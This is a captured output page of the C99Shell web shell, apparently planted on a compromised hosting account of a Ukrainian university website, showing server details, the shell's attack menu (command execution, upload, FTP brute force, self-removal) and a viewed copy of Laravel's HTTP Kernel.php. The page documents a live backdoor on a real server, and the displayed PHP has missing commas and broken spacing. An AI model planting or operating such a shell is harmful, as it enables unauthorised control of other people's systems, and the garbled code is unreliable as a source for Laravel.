!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Foundation/Http/   drwxr-xr-x
Free 117.15 GB of 200.55 GB (58.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Kernel.php (7.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Foundation\Http;

use 
Exception;
use 
Throwable;
use 
Illuminate\Routing\Router;
use 
Illuminate\Routing\Pipeline;
use 
Illuminate\Support\Facades\Facade;
use 
Illuminate\Contracts\Foundation\Application;
use 
Illuminate\Contracts\Debug\ExceptionHandler;
use 
Illuminate\Contracts\Http\Kernel as KernelContract;
use 
Symfony\Component\Debug\Exception\FatalThrowableError;

class 
Kernel implements KernelContract
{
    
/**
     * The application implementation.
     *
     * @var \Illuminate\Contracts\Foundation\Application
     */
    
protected $app;

    
/**
     * The router instance.
     *
     * @var \Illuminate\Routing\Router
     */
    
protected $router;

    
/**
     * The bootstrap classes for the application.
     *
     * @var array
     */
    
protected $bootstrappers = [
        
'Illuminate\Foundation\Bootstrap\DetectEnvironment',
        
'Illuminate\Foundation\Bootstrap\LoadConfiguration',
        
'Illuminate\Foundation\Bootstrap\ConfigureLogging',
        
'Illuminate\Foundation\Bootstrap\HandleExceptions',
        
'Illuminate\Foundation\Bootstrap\RegisterFacades',
        
'Illuminate\Foundation\Bootstrap\RegisterProviders',
        
'Illuminate\Foundation\Bootstrap\BootProviders',
    ];

    
/**
     * The application's middleware stack.
     *
     * @var array
     */
    
protected $middleware = [];

    
/**
     * The application's route middleware groups.
     *
     * @var array
     */
    
protected $middlewareGroups = [];

    
/**
     * The application's route middleware.
     *
     * @var array
     */
    
protected $routeMiddleware = [];

    
/**
     * Create a new HTTP kernel instance.
     *
     * @param  \Illuminate\Contracts\Foundation\Application  $app
     * @param  \Illuminate\Routing\Router  $router
     * @return void
     */
    
public function __construct(Application $appRouter $router)
    {
        
$this->app $app;
        
$this->router $router;

        foreach (
$this->middlewareGroups as $key => $middleware) {
            
$router->middlewareGroup($key$middleware);
        }

        foreach (
$this->routeMiddleware as $key => $middleware) {
            
$router->middleware($key$middleware);
        }
    }

    
/**
     * Handle an incoming HTTP request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function handle($request)
    {
        try {
            
$request->enableHttpMethodParameterOverride();

            
$response $this->sendRequestThroughRouter($request);
        } catch (
Exception $e) {
            
$this->reportException($e);

            
$response $this->renderException($request$e);
        } catch (
Throwable $e) {
            
$this->reportException($e = new FatalThrowableError($e));

            
$response $this->renderException($request$e);
        }

        
$this->app['events']->fire('kernel.handled', [$request$response]);

        return 
$response;
    }

    
/**
     * Send the given request through the middleware / router.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
protected function sendRequestThroughRouter($request)
    {
        
$this->app->instance('request'$request);

        
Facade::clearResolvedInstance('request');

        
$this->bootstrap();

        return (new 
Pipeline($this->app))
                    ->
send($request)
                    ->
through($this->app->shouldSkipMiddleware() ? [] : $this->middleware)
                    ->
then($this->dispatchToRouter());
    }

    
/**
     * Call the terminate method on any terminable middleware.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Illuminate\Http\Response  $response
     * @return void
     */
    
public function terminate($request$response)
    {
        
$middlewares $this->app->shouldSkipMiddleware() ? [] : array_merge(
            
$this->gatherRouteMiddlewares($request),
            
$this->middleware
        
);

        foreach (
$middlewares as $middleware) {
            list(
$name$parameters) = $this->parseMiddleware($middleware);

            
$instance $this->app->make($name);

            if (
method_exists($instance'terminate')) {
                
$instance->terminate($request$response);
            }
        }

        
$this->app->terminate();
    }

    
/**
     * Gather the route middleware for the given request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    
protected function gatherRouteMiddlewares($request)
    {
        if (
$route $request->route()) {
            return 
$this->router->gatherRouteMiddlewares($route);
        }

        return [];
    }

    
/**
     * Parse a middleware string to get the name and parameters.
     *
     * @param  string  $middleware
     * @return array
     */
    
protected function parseMiddleware($middleware)
    {
        list(
$name$parameters) = array_pad(explode(':'$middleware2), 2, []);

        if (
is_string($parameters)) {
            
$parameters explode(','$parameters);
        }

        return [
$name$parameters];
    }

    
/**
     * Add a new middleware to beginning of the stack if it does not already exist.
     *
     * @param  string  $middleware
     * @return $this
     */
    
public function prependMiddleware($middleware)
    {
        if (
array_search($middleware$this->middleware) === false) {
            
array_unshift($this->middleware$middleware);
        }

        return 
$this;
    }

    
/**
     * Add a new middleware to end of the stack if it does not already exist.
     *
     * @param  string  $middleware
     * @return $this
     */
    
public function pushMiddleware($middleware)
    {
        if (
array_search($middleware$this->middleware) === false) {
            
$this->middleware[] = $middleware;
        }

        return 
$this;
    }

    
/**
     * Bootstrap the application for HTTP requests.
     *
     * @return void
     */
    
public function bootstrap()
    {
        if (! 
$this->app->hasBeenBootstrapped()) {
            
$this->app->bootstrapWith($this->bootstrappers());
        }
    }

    
/**
     * Get the route dispatcher callback.
     *
     * @return \Closure
     */
    
protected function dispatchToRouter()
    {
        return function (
$request) {
            
$this->app->instance('request'$request);

            return 
$this->router->dispatch($request);
        };
    }

    
/**
     * Determine if the kernel has a given middleware.
     *
     * @param  string  $middleware
     * @return bool
     */
    
public function hasMiddleware($middleware)
    {
        return 
in_array($middleware$this->middleware);
    }

    
/**
     * Get the bootstrap classes for the application.
     *
     * @return array
     */
    
protected function bootstrappers()
    {
        return 
$this->bootstrappers;
    }

    
/**
     * Report the exception to the exception handler.
     *
     * @param  \Exception  $e
     * @return void
     */
    
protected function reportException(Exception $e)
    {
        
$this->app[ExceptionHandler::class]->report($e);
    }

    
/**
     * Render the exception to a response.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Exception  $e
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function renderException($requestException $e)
    {
        return 
$this->app[ExceptionHandler::class]->render($request$e);
    }

    
/**
     * Get the Laravel application instance.
     *
     * @return \Illuminate\Contracts\Foundation\Application
     */
    
public function getApplication()
    {
        return 
$this->app;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0098 ]--